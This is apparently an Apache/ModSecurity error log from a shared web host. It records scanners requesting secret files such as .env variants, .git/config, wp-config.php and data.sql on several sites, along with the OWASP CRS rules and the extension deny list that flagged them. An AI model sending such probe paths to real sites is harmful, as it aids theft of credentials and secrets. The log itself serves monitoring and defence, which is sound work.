[Fri Jul 17 08:29:03.126462 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almadwRRrtuZqNDDSqWs3QAAABo"]
[Fri Jul 17 08:29:03.126744 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almadwRRrtuZqNDDSqWs3QAAABo"]
[Fri Jul 17 08:29:03.686838 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almadwdFk8dCrY-oJNkdNwAAACA"]
[Fri Jul 17 08:29:03.687118 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almadwdFk8dCrY-oJNkdNwAAACA"]
[Fri Jul 17 08:29:03.687399 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almadwdFk8dCrY-oJNkdNwAAACA"]
[Fri Jul 17 08:29:03.810482 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:03.849104 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env"] [unique_id "almad0hq6UAnqYko0LpXawAAABE"]
[Fri Jul 17 08:29:04.060081 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env"] [unique_id "almad0hq6UAnqYko0LpXawAAABE"]
[Fri Jul 17 08:29:04.062266 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env"] [unique_id "almad0hq6UAnqYko0LpXawAAABE"]
[Fri Jul 17 08:29:04.574175 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.210.152.179:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almadgPhWp7RzB65h36e-QAAAA0"]
[Fri Jul 17 08:29:04.574218 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.210.152.179:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almadgPhWp7RzB65h36e-QAAAA0"]
[Fri Jul 17 08:29:04.607129 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:41558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:04.865534 2026] [authz_core:error] [pid 2014286:tid 2014286] [client 34.236.216.83:0] AH01630: client denied by server configuration: /home/veneelk/public_html/coatrent/wp-config.php
[Fri Jul 17 08:29:05.129697 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaeUgVnBK6wAv37w6o5wAAABQ"]
[Fri Jul 17 08:29:05.129976 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaeUgVnBK6wAv37w6o5wAAABQ"]
[Fri Jul 17 08:29:05.130284 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeUgVnBK6wAv37w6o5wAAABQ"]
[Fri Jul 17 08:29:05.326642 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaeQPhWp7RzB65h36e-gAAAA0"]
[Fri Jul 17 08:29:05.326985 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaeQPhWp7RzB65h36e-gAAAA0"]
[Fri Jul 17 08:29:05.327325 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeQPhWp7RzB65h36e-gAAAA0"]
[Fri Jul 17 08:29:05.421518 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaeUhq6UAnqYko0LpXbQAAABE"]
[Fri Jul 17 08:29:05.436224 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaeUhq6UAnqYko0LpXbQAAABE"]
[Fri Jul 17 08:29:05.436660 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeUhq6UAnqYko0LpXbQAAABE"]
[Fri Jul 17 08:29:05.499652 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaed0t9Kb_MdNxrg6-5QAAAAM"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:29:05.499686 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaed0t9Kb_MdNxrg6-5QAAAAM"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:29:05.627007 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaeY4Wmn5zySdNNkAk-QAAABM"]
[Fri Jul 17 08:29:05.627392 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaeY4Wmn5zySdNNkAk-QAAABM"]
[Fri Jul 17 08:29:05.627713 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeY4Wmn5zySdNNkAk-QAAABM"]
[Fri Jul 17 08:29:05.729314 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaeUz_ZDvgWqiMlMbLeQAAAB0"]
[Fri Jul 17 08:29:05.729603 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaeUz_ZDvgWqiMlMbLeQAAAB0"]
[Fri Jul 17 08:29:05.729999 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeUz_ZDvgWqiMlMbLeQAAAB0"]
[Fri Jul 17 08:29:05.906914 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaeQRRrtuZqNDDSqWs4QAAABo"]
[Fri Jul 17 08:29:05.907209 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaeQRRrtuZqNDDSqWs4QAAABo"]
[Fri Jul 17 08:29:05.907513 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeQRRrtuZqNDDSqWs4QAAABo"]
[Fri Jul 17 08:29:05.965918 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaeQPhWp7RzB65h36e-wAAAA0"]
[Fri Jul 17 08:29:05.966196 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaeQPhWp7RzB65h36e-wAAAA0"]
[Fri Jul 17 08:29:05.966520 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeQPhWp7RzB65h36e-wAAAA0"]
[Fri Jul 17 08:29:06.214220 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaeo4Wmn5zySdNNkAk-gAAABM"]
[Fri Jul 17 08:29:06.214384 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaeo4Wmn5zySdNNkAk-gAAABM"]
[Fri Jul 17 08:29:06.214642 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaeo4Wmn5zySdNNkAk-gAAABM"]
[Fri Jul 17 08:29:06.214957 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeo4Wmn5zySdNNkAk-gAAABM"]
[Fri Jul 17 08:29:06.867316 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaeoZvbo7N5o5zeYC7CgAAABw"]
